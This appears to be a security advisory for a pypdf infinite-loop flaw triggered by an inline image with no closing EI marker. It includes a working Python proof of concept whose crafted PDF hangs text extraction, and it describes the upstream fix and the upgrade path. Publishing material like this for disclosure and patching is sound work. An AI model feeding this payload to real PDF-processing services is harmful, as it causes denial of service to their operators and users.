CVE-2026-59936: pypdf Infinite Loop via Unterminated Inline Image
A crafted PDF with an inline image that has no closing EI marker can lock any pypdf-based app in an infinite loop, making it trivially exploitable for denial of service.
The problem
pypdf's content-stream parser contains a loop that scans forward byte-by-byte looking for the end-of-inline-image marker EI. The loop has no guard for end-of-stream, so it runs forever when the marker is absent.
Anything that reads page content (text extraction, content-stream iteration) is affected. An unauthenticated attacker who can supply a PDF to the application can pin one CPU core at 100% indefinitely, a classic denial-of-service condition.
Proof of concept
A working proof-of-concept for CVE-2026-59936 in pypdf, with the exact payload below.
# Minimal PDF page content stream that triggers the infinite loop.
# The inline image is opened with BI/ID but EI is intentionally omitted.
# Feed this file to any code that calls page.extract_text() or iterates
# the page content stream on pypdf < 6.14.1.
import pypdf, io
# Minimal valid PDF skeleton with one page whose content stream
# starts an inline image but never closes it (no EI marker).
RAW_PDF = b"""%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 3 3]/Contents 4 0 R>>endobj
4 0 obj<</Length 19>>
stream
BI
/W 1/H 1/BPC 8
ID
\xff
endstream
endobj
xref
0 5
0000000000 65535 f \r
0000000009 00000 n \r
0000000058 00000 n \r
0000000115 00000 n \r
0000000206 00000 n \r
trailer<</Size 5/Root 1 0 R>>
startxref
284
%%EOF
"""
reader = pypdf.PdfReader(io.BytesIO(RAW_PDF))
# This call hangs forever on pypdf < 6.14.1
print(reader.pages[0].extract_text())The vulnerable code in pypdf's content-stream parser (historically in _readInlineImage / the inline-image end-marker detection path) used a while True loop that read bytes looking for the two-byte sequence EI. The loop had no check for stream exhaustion, so on a truncated or malicious stream it would spin on an empty read indefinitely.
PR #3891 (commit ec3b145 / 1ee4e58) adds an explicit end-of-stream guard: when the byte read returns empty (b'' or equivalent), the parser now breaks out of the loop and raises an appropriate error rather than looping forever. This maps directly to CWE-835 (Loop with Unreachable Exit Condition) and CWE-400 (Uncontrolled Resource Consumption).
The fix
Upgrade to pypdf 6.14.1 or later (pip install 'pypdf>=6.14.1'). If you cannot upgrade immediately, manually apply the changes from PR #3891 (https://github.com/py-pdf/pypdf/pull/3891), which adds the stream-end check to the inline-image end-marker detection loop.
Reported by stefan6419846.
Related research
- highCVE-2026-59935CVE-2026-59935: pypdf Infinite Loop via Unterminated ASCII85/ASCIIHex Inline Image
- high · 7.5CVE-2026-59884CVE-2026-59884: pyasn1 BER Decoder Denial of Service via Unbounded Long-Form Tag IDs
- high · 7.5CVE-2026-59885CVE-2026-59885: pyasn1 Quadratic Complexity OID Decoding Denial of Service
- high · 7.5CVE-2026-59886CVE-2026-59886: pyasn1 Uncontrolled Resource Consumption in Real Float Conversion